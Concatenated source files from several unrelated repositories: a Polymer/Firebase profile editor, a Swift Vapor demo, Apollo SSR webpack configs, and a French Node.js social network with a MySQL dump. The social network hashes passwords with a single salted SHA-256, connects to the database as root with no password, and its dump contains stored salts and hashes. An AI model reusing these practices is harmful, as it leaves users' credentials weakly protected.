const ref = db.collection('user').doc(this.user.uid);
const original = this.profile.bio ? this.profile.bio.original : '';
ref.set({
'name': this._toTitleCase(this.profile.name),
'bio': {
'original': original,
},
}, {
merge: true,
}).then(() => {
this.dispatchEvent(new CustomEvent('alert', {
detail: {
text: 'Your profile has been updated',
time: 2000,
type: 'basic',
},
bubbles: true,
composed: true,
}));
this.dispatchEvent(new CustomEvent('profile-updated', {
bubbles: true,
composed: true,
}));
let user = firebase.auth().currentUser;
user.updateProfile({
displayName: this._toTitleCase(this.profile.name),
}).then(() => {
// Update successful.
console.log('User updated');
}).catch((error) => {
// An error happened.
console.error('Error updating Auth: ', error);
this.dispatchEvent(new CustomEvent('alert', {
detail: {
text: 'There was a problem updating your profile on Auth',
time: 3000,
type: 'error',
},
bubbles: true,
composed: true,
}));
});
}).catch((error) => {
// The document probably doesn't exist.
console.error('Error updating document: ', error);
this.dispatchEvent(new CustomEvent('alert', {
detail: {
text: 'There was a problem updating your profile',
time: 3000,
type: 'error',
},
bubbles: true,
composed: true,
}));
});
}
/**
* Title case text
*
* @param {string} baseText
* @return {*|void|string|XML}
* @private
*/
_toTitleCase(baseText) {
if (!baseText) return null;
return baseText.replace(/\w\S*/g, (txt) => {
return txt.charAt(0).toUpperCase() + txt.substr(1).toLowerCase();
});
}
/**
* User observer
*
* @param {object} user
* @private
*/
_userObserver(user) {
if (!user || !user.uid) return;
let db = firebase.firestore();
db.collection('user').doc(user.uid).onSnapshot((doc) => {
if (!doc.exists) return;
this.profile = doc.data();
});
this.metadata = {
customMetadata: {
type: 'avatar',
id: 1,
user: user.uid,
},
};
}
/**
* Compute ready to save
*
* @param {object} profile
* @return {boolean}
* @private
*/
_computeReady(profile) {
return !!profile.name;
}
/**
* Update photo on Auth
* @param {string} downloadURL
* @private
*/
_updatePhotoAuth(downloadURL) {
if (!downloadURL.detail) return;
let user = firebase.auth().currentUser;
user.updateProfile({
photoURL: downloadURL.detail,
}).then(() => {
// Update successful.
console.log('User photoURL updated');
}).catch((error) => {
// An error happened.
console.error('Error updating Auth: ', error);
this.dispatchEvent(new CustomEvent('alert', {
detail: {
text: 'There was a problem updating your photoURL on Auth',
time: 3000,
type: 'error',
},
bubbles: true,
composed: true,
}));
});
}
/**
* Capture picture
*
* @private
*/
_capture() {
const element = this.shadowRoot.querySelector('skeleton-image-uploader');
element.capture();
}
}
window.customElements.define(ProfileEdit.is, ProfileEdit);
<file_sep>/README.md
## \<profile-edit\>
`profile-edit` is a [Polymer 3](http://polymer-project.org) and [Firebase](https://firebase.google.com/) element for updating users profile basic info.
## Installation
Install profile-edit with npm
```shell
$ npm install FabricElements/profile-edit --save
```
## Usage
Import it into the `<head>` of your page
```html
<script type="module" src="node_modules/@fabricelements/profile-edit/profile-edit.js"></script>
```
### Example: basic usage
Configure your Firebase app
> See [Firebase](https://firebase.google.com/docs/storage/web/start) docs for more information.
Then add the `profile-edit` element.
```html
<profile-edit ready-to-save="{{readyToSave}}"></profile-edit>
```
### Attributes
* `readyToSave` (boolean) - True when the name exists.
* `signedIn` (boolean) - True if the user is signed in.
* `user` (object) - The user object.
* `profile` (object) - The profile info object.
* `metadata` (object) - The metadata to save along with the image.
## Contributing
Please check [CONTRIBUTING](./CONTRIBUTING.md).
## License
Released under the [BSD 3-Clause License](./LICENSE.md).
| eed9d64c760e0f03afe0c07168a66874b0af1810 | [
"JavaScript",
"Markdown"
] | 2 | JavaScript | FabricElements/profile-edit | 974a66d8836a3d9638772571d6b5e5599ceb0ec6 | d3327d24cb3f296954361ca542864f6a78279b1f | |
refs/heads/master | <repo_name>michalcichon/vapor-playground<file_sep>/Sources/App/main.swift
import Vapor
let drop = Droplet()
drop.get { request in
return try JSON(node: [
"message" : "Hello"
]);
}
drop.get("test") { request in
return try JSON(node: [
"message" : "Test"
]);
}
drop.get("beers", Int.self) { request, beers in
return try JSON(node: [
"message" : "Give me \(beers) beers"
]);
}
drop.post("post-hello") { request in
guard let name = request.data["name"]?.string else {
throw Abort.badRequest;
}
return try JSON(node: [
"message" : "Hello \(name)"
])
}
drop.resource("posts", PostController())
drop.run()
| c94180601d1dd3a71161bae4a832e12e65ecd562 | [
"Swift"
] | 1 | Swift | michalcichon/vapor-playground | e44c91b8652e6bf6eaf82359668638d159920c36 | 82e7d904d5a24023336542deb852c821f1e03c8f | |
refs/heads/master | <file_sep>import { join } from 'path'
import TsconfigPathsPlugin from 'tsconfig-paths-webpack-plugin'
import { PresetFn } from './types'
export type TsConfigPathsPreset = 'tsconfigpaths'
/**
* Configures webpack to be able to import files with import
* aliases from the tsconfig
*/
const config: PresetFn = () => {
return {
resolve: {
plugins: [
new TsconfigPathsPlugin({
configFile: join(process.cwd(), './tsconfig.json'),
}),
],
},
}
}
export default config
<file_sep>import { Configuration } from 'webpack'
import compact from 'lodash/compact'
import concat from 'lodash/concat'
import map from 'lodash/map'
import split from 'lodash/split'
import trim from 'lodash/trim'
import { Presets } from './webpack/build-utils/presets/types'
import clientConfig from './webpack/webpack.client'
import serverConfig from './webpack/webpack.server'
delete process.env['TS_NODE_PROJECT'] // needed to make sure other loaders don't use the tsconfig version from the environment
/**
* The environment
*
* This object is also passed down to all presets
*/
export type Env = {
mode: 'production' | 'development'
presets: Presets[]
type?: 'client' | 'server'
target?: 'client' | 'server'
watch: boolean
}
/**
* The default environment
*
* Presets that are both used on the server and client
* can be added here
*/
const defaultEnv: Env = {
mode: 'production',
presets: ['base', 'babel', 'tsconfigpaths'],
watch: false,
}
/**
* Args already parsed by webpack and passed to the config function
*/
type Args = {
color?: boolean
watch?: boolean
}
/**
* Entry point for webpack
*/
function config(
{ presets, ...rest }: Record<string, string> = {},
args: Args = {}
): Configuration[] {
const env: Env = Object.assign({}, defaultEnv, rest, {
presets: compact(
concat<Presets>(
map(split(presets, ','), trim) as Presets[],
defaultEnv.presets
)
),
watch: !!args.watch,
})
const sConfig = serverConfig(env)
const cConfig = clientConfig(env)
// console.log(cConfig)
return [sConfig, cConfig]
}
export default config
<file_sep>/* eslint-disable @typescript-eslint/no-var-requires */
import { resolve } from 'path'
import webpackMerge from 'webpack-merge'
import map from 'lodash/map'
import uniqBy from 'lodash/uniqBy'
import { Configuration } from 'webpack'
import { Env } from '../../../webpack.config'
/**
* Loads the presets from the file system
*
* Presets must have the following file naming convention:
* `webpack.<preset-name>.ts`
*
* @param env - the environment containing the wanted presets
* @returns - the merged config from all presets
*/
function loadPresets(env: Env): Configuration {
const presets = uniqBy(env.presets, (preset) => {
if (typeof preset === 'string') {
return preset
}
return preset[0]
})
return webpackMerge(
map(presets, (preset) => {
if (typeof preset === 'string') {
return require(resolve(__dirname, `./webpack.${preset}`)).default(env)
}
return require(resolve(__dirname, `./webpack.${preset[0]}`)).default(
env,
preset[1]
)
})
)
}
export default loadPresets
<file_sep>import { PresetFn } from './types'
export type BasePreset = 'base'
/**
* Genereric base config
*/
const config: PresetFn = (e) => {
return e.mode === 'production'
? {
mode: 'production',
devtool: 'nosources-source-map',
}
: {
mode: 'development',
devtool: 'source-map',
}
}
export default config
<file_sep>import NodemonPlugin from 'nodemon-webpack-plugin'
import { PresetFn } from './types'
export type NodemonPreset = 'nodemon' | ['nodemon', Options]
type Options = ConstructorParameters<typeof NodemonPlugin>[0]
/**
* Adds the nodemon plugin, the settings for nodemon should be passed
* into the preset if needed
*/
const config: PresetFn<Options> = (_, settings) => {
return {
plugins: [
/**
* if adding `watch`, ensure only generated files are watched:
*
* ```
* watch: resolve('./build'),
* ```
* @see https://medium.com/@binyamin/get-nodemon-to-restart-after-webpack-re-build-8746db80548e
*/
new NodemonPlugin(settings),
],
}
}
export default config
<file_sep>import {
ApolloClient,
ApolloClientOptions,
InMemoryCache,
} from '@apollo/client'
export function createApolloClient(
options?: Partial<ApolloClientOptions<any>>
) {
return new ApolloClient({
uri: 'https://48p1r2roz4.sse.codesandbox.io',
cache:
typeof window !== 'undefined'
? // eslint-disable-next-line @typescript-eslint/ban-ts-comment
// @ts-expect-error
new InMemoryCache().restore(window.__APOLLO_STATE__)
: new InMemoryCache(),
...options,
})
}
<file_sep>import { RootState } from '@client/store'
declare global {
interface Window {
__PRELOADED_STATE__: Partial<RootState>
}
}
<file_sep>import merge from 'lodash/merge'
import concat from 'lodash/concat'
import { Env } from '../../webpack.config'
import { Presets } from './presets/types'
/**
* Adds preset to the env object
*
* @param env - the environment to append the presets to
* @param presets - the presets to append
* @returns - the new environment with all presets
*/
export function addPresets(env: Readonly<Env>, presets: Presets[]): Env {
return merge({}, env, {
presets: concat(env.presets, presets),
})
}
<file_sep>import { join } from 'path'
import HtmlWebpackPlugin from 'html-webpack-plugin'
import { Configuration } from 'webpack'
import merge from 'webpack-merge'
import concat from 'lodash/concat'
import { Env } from '../webpack.config'
import { addPresets } from './build-utils'
import loadPresets from './build-utils/presets'
import { Presets } from './build-utils/presets/types'
const PRESETS: Presets[] = []
const DEV_PRESETS: Presets[] = concat([], PRESETS, ['serve'])
const PRODUCTION_PRESETS: Presets[] = PRESETS
function config(env: Env): Configuration {
return merge(
{
entry: {
main: ['./src/client/index.tsx'],
},
plugins: [new HtmlWebpackPlugin({ template: './src/client/index.html' })],
target: 'web',
output: {
filename: '[name].[contenthash].js',
path: join(process.cwd(), './dist/client/static'),
publicPath: 'static/',
},
},
loadPresets(
addPresets(
env,
env.mode === 'production' ? PRODUCTION_PRESETS : DEV_PRESETS
)
)
)
}
export default config
<file_sep>// caller.target will be the same as the target option from webpack
// https://webpack.js.org/loaders/babel-loader/#customize-config-based-on-webpack-target
function isWebTarget(caller) {
return Boolean(caller && caller.target === 'web')
}
function isTestBuild(caller) {
return Boolean(caller && caller.name === 'babel-jest')
}
module.exports = (api) => {
const isWeb = api.caller(isWebTarget)
const isTest = api.caller(isTestBuild)
const targets =
isWeb && !isTest
? '> 0.25%, not dead'
: {
node: 'current',
}
/**
* optimize the build process performance by caching config function execution
* result
* @see https://babeljs.io/docs/en/config-files#apicache
*/
api.cache(false) // can not be true, otherwise we cache the server config and use it for the client
return {
presets: [
[
'@babel/preset-env',
{
targets,
},
],
'@babel/preset-react',
'@babel/preset-typescript',
],
}
}
<file_sep>import { PresetFn } from './types'
export type BabelPreset = 'babel'
const config: PresetFn = () => {
return {
resolve: {
extensions: ['.js', '.jsx', '.ts', '.tsx'],
},
module: {
rules: [
{
test: /\.(ts|tsx)$/,
use: [
{
// https://webpack.js.org/loaders/babel-loader
loader: 'babel-loader',
options: {
cacheDirectory: true,
},
},
],
},
],
},
}
}
export default config
<file_sep>import { Configuration } from 'webpack'
import { Env } from '../../../src/webpack.config'
import { BabelPreset } from './webpack.babel'
import { BasePreset } from './webpack.base'
import { NodemonPreset } from './webpack.nodemon'
import { ServePreset } from './webpack.serve'
import { TsConfigPathsPreset } from './webpack.tsconfigpaths'
/**
* A preset function always gets the environment and an optional options object
* if the user specifies it
*/
export type PresetFn<S = void> = (env: Env, options?: S) => Configuration
/**
* Allows Typescript to check both the preset and its options
*/
export type Presets =
| BasePreset
| ServePreset
| BabelPreset
| NodemonPreset
| TsConfigPathsPreset
<file_sep>import { join } from 'path'
import {
WebpackPluginServe,
WebpackPluginServeOptions,
} from 'webpack-plugin-serve'
import merge from 'lodash/merge'
import { PresetFn } from './types'
export type ServePreset = 'serve' | ['serve', WebpackPluginServeOptions]
const defaultOptions: WebpackPluginServeOptions = {
static: [
join(process.cwd(), './dist/client'),
join(process.cwd(), './dist/client/static'),
],
waitForBuild: true,
}
/**
* Genereric base config
*/
const config: PresetFn<WebpackPluginServeOptions> = (_, o = {}) => {
return {
// an example entry definition
entry: {
main: ['webpack-plugin-serve/client'], // ← important: this is required, where the magic happens in the browser
},
plugins: [new WebpackPluginServe(merge({}, defaultOptions, o))],
}
}
export default config
<file_sep>import { join } from 'path'
import 'cross-fetch/polyfill'
import express from 'express'
import { renderer } from './renderer'
export const staticPath =
process.env['NODE_ENV'] === 'production'
? join(__dirname, '../client/static/')
: join(process.cwd(), './dist/client/static/')
const app = express()
app.get('/', renderer)
app.use('/static/', express.static(staticPath))
app.listen(3000, () => {
console.log('Server listening on port 3000')
})
<file_sep>module.exports = {
env: {
browser: true,
es2021: true,
node: true,
},
extends: [
'eslint:recommended',
'plugin:react/recommended',
'plugin:@typescript-eslint/recommended',
'plugin:cypress/recommended',
'plugin:import/recommended', // https://github.com/benmosher/eslint-plugin-import
'plugin:lodash/recommended', // https://github.com/wix/eslint-plugin-lodash
'plugin:jest/recommended', // https://github.com/jest-community/eslint-plugin-jest
'plugin:jsx-a11y/recommended', // https://github.com/jsx-eslint/eslint-plugin-jsx-a11y
'plugin:prettier/recommended', // needs to be last
],
parser: '@typescript-eslint/parser',
parserOptions: {
ecmaFeatures: {
jsx: true,
},
ecmaVersion: 12,
sourceType: 'module',
},
plugins: ['react', '@typescript-eslint'],
rules: {
'import/order': ['error', { 'newlines-between': 'always' }],
'lodash/prefer-lodash-method': 0,
'lodash/prefer-lodash-typecheck': 0,
'@typescript-eslint/explicit-module-boundary-types': 0,
},
overrides: [
{
files: ['**/*.spec.ts', '**/*.spec.js'],
rules: {
'jest/expect-expect': 0, // do not expect expects in cypress tests
},
},
],
settings: {
react: {
version: 'detect',
},
'import/resolver': {
webpack: {
config: './webpack.config.ts',
'config-index': 1,
},
},
},
}
<file_sep>### apollo ssr example
Example of Apollos getDataFromTree ssr functionality apollo offers.
To start the appplication please run:
```
yarn
yarn start
```
<file_sep>import { join } from 'path'
import { Configuration } from 'webpack'
import merge from 'webpack-merge'
import nodeExternals from 'webpack-node-externals'
import { Env } from '../webpack.config'
import { addPresets } from './build-utils'
import loadPresets from './build-utils/presets'
import { Presets } from './build-utils/presets/types'
const PRESETS: Presets[] = [
[
'nodemon',
{
watch: ['src'],
ext: 'json,ts,tsx',
ignore: [
'__tests__/*',
'__stories__/*',
'*.js',
'*.js.map',
'*.d.ts',
'*.md',
],
delay: 1000,
},
],
]
function config(env: Env): Configuration {
return merge(
{
entry: {
main: './src/server/index.ts',
},
target: 'node',
output: {
filename: 'server.js',
path: join(process.cwd(), './dist/server'),
},
externalsPresets: { node: true },
externals: [nodeExternals()] as Configuration['externals'], // needed because the types from the @types repo still target webpack 4 types, should be fixed with the next release of webpack-node-externals because they now generate a types file themselves
},
loadPresets(addPresets(env, PRESETS))
)
}
export default config
| 6ee055a7138ce1adcba268af8ab081c0741fed08 | [
"JavaScript",
"TypeScript",
"Markdown"
] | 17 | TypeScript | barnabasJ/apollo-ssr-example | 72e0e0ac56b6be07bd8b100d29bd89f3b628afc1 | 32a7721e5b5aa326a8cc36a4721a8f4a1b45a88e | |
refs/heads/master | <file_sep>import { Database } from "../../../lib/Database.js";
const DATABASE = new Database({
host: "127.0.0.1",
user: "root",
database: "groupomania_social_network"
});
export { DATABASE as DatabaseService };<file_sep>import { createGzip } from "zlib";
import { Request } from "../Model/Request.js";
import { Controller } from "../Model/Controller.js";
import { Templating } from "../Model/Templating.js";
import { Session as SessionService } from "../Service/Session.js";
import { User } from "../DataModel/User.js";
class UserController extends Controller
{
constructor()
{
super();
}
async signupAction(request, response)
{
try
{
const POST = request.getRequest();
SessionService.getSession(request, response);
const USER = new User();
USER.setPassword(<PASSWORD>);
USER.setEmail(POST.email);
USER.setFirstname(POST.firstname);
USER.setLastname(POST.lastname);
USER.setJob(POST.job);
USER.setAdmin(false);
await USER.save();
response.statusCode = 303;
response.setHeader("Location", "/timeline");
response.setHeader("Content-Encoding", "gzip");
const encoder = createGzip();
encoder.pipe(response);
encoder.end();
}
catch (error)
{
console.log(error);
response.statusCode = 500;
response.end();
}
}
async loginAction(request, response)
{
try
{
const POST = request.getRequest();
const SESSION = SessionService.getSession(request, response);
const USER = await User.getByEmail(POST.email);
if (!USER || !USER.isPasswordValid(POST.password))
{
response.statusCode = 403;
response.end();
return;
}
// Ne pas oublier de rentrer la valeur de notre user ID dans la session pour s'en resservir un peu partout
SESSION.set("userId", USER.getId());
// On ne renvoie pas de json vu que la requête front vient directement du formulaire et qu'on change de page
response.statusCode = 303;
response.setHeader("Location", "/timeline");
response.setHeader("Content-Encoding", "gzip");
const encoder = createGzip();
encoder.pipe(response);
encoder.end();
}
catch (error)
{
console.log(error);
response.statusCode = 500;
response.end();
}
}
async logoutAction(request, response)
{
try
{
const SESSION = SessionService.getSession(request, response);
SESSION.delete("userId");
response.statusCode = 307;
response.setHeader("Location", "/");
response.setHeader("Content-Encoding", "gzip");
const encoder = createGzip();
encoder.pipe(response);
encoder.end();
}
catch (error)
{
console.log(error);
response.statusCode = 500;
response.end();
}
}
}
export { UserController };
<file_sep>{{layout: layouts/default.html}}
{{include: partials/title.html}}
<ul>
{{for: let i = 0; i < 10; ++i}}
{{for: let j = 0; j < 5; ++j}}
{{if: i % 2 === 0}}
<li>Even number {{i}}</li>
{{else if: i % 3 === 0}}
<li>Can be divided by 3 : {{i}}</li>
{{else}}
<li>Other {{i}}</li>
{{endif}}
{{endfor}}
{{endfor}}
</ul><file_sep>import { Hash, randomBytes } from "crypto";
import { DatabaseService } from "../Service/Database.js";
import { WeakRefMap } from "../Service/WeakRefMap.js";
const CACHE = new WeakRefMap();
// DAO
class User
{
static createFromData(data)
{
if (!data.id)
{
throw new Error("Invalid data");
}
let user = CACHE.get(data.id);
if (!user)
{
user = new this();
user.id = data.id;
user.email = data.email;
user.salt = Buffer.from(data.salt, "hex");
user.hash = data.hash;
user.firstname = data.firstname;
user.lastname = data.lastname;
user.job = data.job;
user.admin = data.admin ? true : false;
user.creationDate = data.creation_date;
CACHE.set(data.id, user);
}
return user;
/*
const USER_1 = await User.getById(1);
USER_1.setJob("Comptable");
const USER_2 = await User.getById(1);
console.log(USER_2.getJob()); // "Comptable" aussi
*/
}
static async getAll()
{
const RESULTS = await DatabaseService.query(
`
SELECT
*
FROM
users
`
);
if (!RESULTS.length)
{
return [];
}
const USERS = RESULTS.map(
(user) =>
{
return this.createFromData(user);
}
);
return USERS;
}
static async getById(id)
{
const RESULTS = await DatabaseService.query(
`
SELECT
*
FROM
users
WHERE
id = :id
LIMIT
1
`,
{
id: id
}
);
if (!RESULTS[0])
{
return null;
}
return this.createFromData(RESULTS[0]);
}
static async getByEmail(email)
{
const RESULTS = await DatabaseService.query(
`
SELECT
*
FROM
users
WHERE
email = :email
LIMIT
1
`,
{
email: email
}
);
if (!RESULTS[0])
{
return null;
}
return this.createFromData(RESULTS[0]);
}
async save()
{
if (this.id)
{
await DatabaseService.query(
`
UPDATE
users
SET
email = :email,
salt = :salt,
hash = :hash,
firstname = :firstname,
lastname = :lastname,
job = :job,
admin = :admin
WHERE
id = :id
`,
{
id: this.id,
email: this.email,
salt: this.salt.toString("hex"),
hash: this.hash,
firstname: this.firstname,
lastname: this.lastname,
job: this.job,
admin: this.admin
}
);
}
else
{
const RESULT = await DatabaseService.query(
`
INSERT INTO
users (email, salt, hash, firstname, lastname, job, admin)
VALUES
(:email, :salt, :hash, :firstname, :lastname, :job, :admin)
`,
{
email: this.email,
salt: this.salt.toString("hex"),
hash: this.hash,
firstname: this.firstname,
lastname: this.lastname,
job: this.job,
admin: this.admin
}
);
this.id = RESULT.insertId;
}
}
getId()
{
return this.id;
}
getEmail()
{
return this.email;
}
setEmail(email)
{
this.email = email;
}
isPasswordValid(password)
{
const ENCRYPTOR = new Hash("sha256");
ENCRYPTOR.update(this.salt.toString("binary") + password);
const HASH = ENCRYPTOR.digest().toString("hex");
return this.hash === HASH;
}
setPassword(password)
{
const SALT = randomBytes(32);
const ENCRYPTOR = new Hash("sha256");
ENCRYPTOR.update(SALT.toString("binary") + password);
const HASH = ENCRYPTOR.digest().toString("hex");
this.salt = SALT;
this.hash = HASH;
}
getFirstname()
{
return this.firstname;
}
setFirstname(firstname)
{
this.firstname = firstname;
}
getLastname()
{
return this.lastname;
}
setLastname(lastname)
{
this.lastname = lastname;
}
getJob()
{
return this.job;
}
setJob(job)
{
this.job = job;
}
isAdmin()
{
return this.admin;
}
setAdmin(flag)
{
this.admin = flag;
}
getCreationDate()
{
return this.creationDate;
}
}
export { User };
<file_sep>class Controller {
constructor() {
}
}
export { Controller };
<file_sep>-- phpMyAdmin SQL Dump
-- version 5.0.2
-- https://www.phpmyadmin.net/
--
-- Host: 127.0.0.1:3306
-- Generation Time: Oct 27, 2020 at 07:31 PM
-- Server version: 5.7.31
-- PHP Version: 7.3.21
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
START TRANSACTION;
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;
--
-- Database: `groupomania_social_network`
--
-- --------------------------------------------------------
--
-- Table structure for table `discussions`
--
DROP TABLE IF EXISTS `discussions`;
CREATE TABLE IF NOT EXISTS `discussions` (
`id` bigint(1) UNSIGNED NOT NULL AUTO_INCREMENT,
`creation_date` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP,
`user_id` smallint(1) UNSIGNED NOT NULL,
`first_message_id` bigint(1) UNSIGNED DEFAULT NULL,
`title` varchar(255) NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `id` (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=10 DEFAULT CHARSET=utf8mb4;
--
-- Dumping data for table `discussions`
--
INSERT INTO `discussions` (`id`, `creation_date`, `user_id`, `first_message_id`, `title`) VALUES
(7, '2020-10-26 21:50:34', 3, 6, 'Voici la recette des fameux muffins à la banane que j\'avais amenés jeudi dernier !'),
(8, '2020-10-27 02:54:09', 3, 8, 'Vidéo d\'animaux trop marrants !'),
(9, '2020-10-27 03:03:59', 4, 10, 'Quelle musique mettez-vous pour vous détendre ?');
-- --------------------------------------------------------
--
-- Table structure for table `likes`
--
DROP TABLE IF EXISTS `likes`;
CREATE TABLE IF NOT EXISTS `likes` (
`id` smallint(1) NOT NULL AUTO_INCREMENT,
`creation_date` datetime NOT NULL,
`user_id` smallint(1) NOT NULL,
`message_id` smallint(1) NOT NULL,
`value` smallint(1) NOT NULL DEFAULT '0',
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
-- --------------------------------------------------------
--
-- Table structure for table `messages`
--
DROP TABLE IF EXISTS `messages`;
CREATE TABLE IF NOT EXISTS `messages` (
`id` bigint(1) UNSIGNED NOT NULL AUTO_INCREMENT,
`creation_date` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP,
`user_id` smallint(1) UNSIGNED NOT NULL,
`discussion_id` bigint(1) UNSIGNED DEFAULT NULL,
`content` varchar(2000) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=13 DEFAULT CHARSET=utf8mb4;
--
-- Dumping data for table `messages`
--
INSERT INTO `messages` (`id`, `creation_date`, `user_id`, `discussion_id`, `content`) VALUES
(1, '2020-10-24 23:41:43', 3, 3, 'Test 1234'),
(2, '2020-10-24 23:44:47', 3, 4, 'Test 1234'),
(3, '2020-10-25 01:19:38', 3, 5, 'Banane 1234'),
(4, '2020-10-25 19:04:43', 3, 4, 'test 1234 mouton'),
(5, '2020-10-25 20:40:49', 3, 6, 'PonyPonyPonyPonyPonyPonyPonyPonyPonyPony'),
(6, '2020-10-26 21:50:34', 3, 7, 'Ecraser les bananes. Ajouter le sucre et l\'oeuf légèrement battu. Ajouter le beurre fondu, puis les ingrédients secs (farine, levure, bicarbonate). \r\n\r\nPlacer dans des moules à muffin.\r\n\r\nCuire à 190°C pendant 20 min. \r\n\r\nDéguster avec modération ;)'),
(7, '2020-10-27 01:34:00', 3, 7, 'Je peux vous proposer une version à la cerise si vous préférez ! :)'),
(8, '2020-10-27 02:54:09', 3, 8, 'https://www.youtube.com/watch?v=z6EchXyieos'),
(9, '2020-10-27 03:02:51', 4, 7, 'Je confirme qu\'ils sont délicieux !'),
(10, '2020-10-27 03:03:59', 4, 9, 'Voici mon mix préféré !\r\n\r\nhttps://www.youtube.com/watch?v=TDcJJYY5sms&t=5654s'),
(11, '2020-10-27 03:04:10', 4, 8, 'Haha, énorme !'),
(12, '2020-10-27 20:06:29', 3, 8, 'Test');
-- --------------------------------------------------------
--
-- Table structure for table `users`
--
DROP TABLE IF EXISTS `users`;
CREATE TABLE IF NOT EXISTS `users` (
`id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT,
`creation_date` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP,
`email` varchar(255) NOT NULL,
`salt` char(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL,
`hash` char(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL,
`firstname` varchar(255) NOT NULL,
`lastname` varchar(255) NOT NULL,
`job` varchar(255) NOT NULL,
`admin` tinyint(1) NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `email` (`email`)
) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8mb4;
--
-- Dumping data for table `users`
--
INSERT INTO `users` (`id`, `creation_date`, `email`, `salt`, `hash`, `firstname`, `lastname`, `job`, `admin`) VALUES
(3, '2020-10-24 22:14:56', '<EMAIL>', 'ee9962125d659e10f6b6f2c74600a4328b32954c174bc8a25b9f74baf50ad855', 'ece0db38889438cbea493cac16994cfe4ec115e2e066006d47cc3465f4d819b5', 'Michael', 'Donati', 'Expert Comptable', 0),
(4, '2020-10-26 17:58:34', '<EMAIL>', 'b6bd66e90ad48a8d5cb12ac2e53815d4df8fdecc1cf704a627393d491bda20d1', '<KEY>', 'Jean', 'Dupont', 'Chef de projet', 0);
COMMIT;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
<file_sep>import { parse as parseQuery } from "querystring";
class Request {
constructor(message) {
this.pathFragments = [];
this.query = {};
this.request = {};
this.rawBody = "";
this.body = "";
this.contentType = "";
this.boundary = "";
this.requestedURL = message.url || "";
this.headers = message.headers;
if (this.headers['content-type'] !== undefined) {
this.contentType = this.headers['content-type'];
if (this.contentType.match(/multipart\/form-data;/) !== null) {
let splitted_content_type = this.contentType.split("=");
if (splitted_content_type.length === 2) {
this.boundary = `--${splitted_content_type[1]}`;
}
else {
}
this.contentType = "multipart/form-data";
}
}
let splitted_url = this.requestedURL.split("?");
this.requestedPath = splitted_url[0];
if (splitted_url[1] !== undefined) {
this.query = parseQuery(splitted_url[1]);
}
let path_fragments = this.requestedPath.split("/");
path_fragments = path_fragments.filter((value) => {
return value.length !== 0;
});
this.pathFragments = path_fragments;
}
getRawBody() {
return this.rawBody;
}
async setRawBody(value) {
this.rawBody = value;
switch (this.getContentType()) {
case "application/json":
try {
this.body = JSON.parse(this.rawBody);
}
catch (e) {
}
break;
case "application/x-www-form-urlencoded":
this.request = parseQuery(this.rawBody);
break;
case "multipart/form-data":
let parts = this.rawBody.split(this.boundary);
let files = [];
parts.forEach(async (part, index) => {
if (index !== 0 && index < parts.length - 1) {
let name_matches = part.match(/name="([^"]+)";?\s+/i);
let name = "";
if (name_matches !== null) {
name = name_matches[1].trim();
}
let filename_matches = part.match(/filename="([^\n]+)";?\s+/i);
let filename = "";
if (filename_matches !== null) {
filename = filename_matches[1].trim();
}
let content_type_matches = part.match(/Content-Type: ([^\s]+)\s+/i);
let content_type = "";
if (content_type_matches !== null) {
content_type = content_type_matches[1].trim();
}
let splitted_part = part.split("\r\n\r\n");
if (filename === "") {
this.request[name] = splitted_part[1];
}
else {
files.push({
name: filename,
mimeType: content_type,
content: splitted_part[1]
});
}
}
});
break;
default:
this.body = this.rawBody;
break;
}
}
getBody() {
return this.body;
}
getBoundary() {
return this.boundary;
}
getContentType() {
return this.contentType;
}
getHeaders() {
return this.headers;
}
getHeader(name) {
name = name.toString();
name = name.toLowerCase();
let header = this.headers[name];
if (header !== undefined) {
return header;
}
return null;
}
getQuery() {
return this.query;
}
setQuery(query) {
this.query = query;
}
getRequestedPath() {
return this.requestedPath;
}
getPathFragments() {
return this.pathFragments;
}
getRequest() {
return this.request;
}
}
export { Request };
<file_sep>import { createGzip } from "zlib";
import { Hash, randomBytes } from "crypto";
import { Controller } from "../Model/Controller.js";
import { Templating } from "../Model/Templating.js";
import { Session as SessionService } from "../Service/Session.js";
import { Authentication as AuthenticationService } from "../Service/Authentication.js";
import { User } from "../DataModel/User.js";
import { Discussion } from "../DataModel/Discussion.js";
import { Message } from "../DataModel/Message.js";
class MessageController extends Controller
{
constructor()
{
super();
}
async newAction(request, response)
{
try
{
const SESSION = SessionService.getSession(request, response);
const IS_LOGGED = AuthenticationService.checkUser(SESSION, response);
if (!IS_LOGGED)
{
return;
}
const TEMPLATING = new Templating();
const GET = request.getQuery();
let content = await TEMPLATING.render(`new_message.html`, {id: GET.id});
response.setHeader("Content-Type", "text/html");
response.setHeader("Content-Encoding", "gzip");
const encoder = createGzip();
encoder.pipe(response);
encoder.write(content);
encoder.end();
}
catch (error)
{
console.log(error);
response.statusCode = 303;
response.setHeader("Location", "/");
response.setHeader("Content-Encoding", "gzip");
const encoder = createGzip();
encoder.pipe(response);
encoder.end();
}
}
async postAction(request, response)
{
try
{
const SESSION = SessionService.getSession(request, response);
const POST = request.getRequest();
const USER_ID = SESSION.get("userId");
const GET = request.getQuery();
const NEW_MESSAGE = new Message();
NEW_MESSAGE.setUserId(USER_ID);
NEW_MESSAGE.setDiscussionId(GET.id);
NEW_MESSAGE.setContent(POST.content);
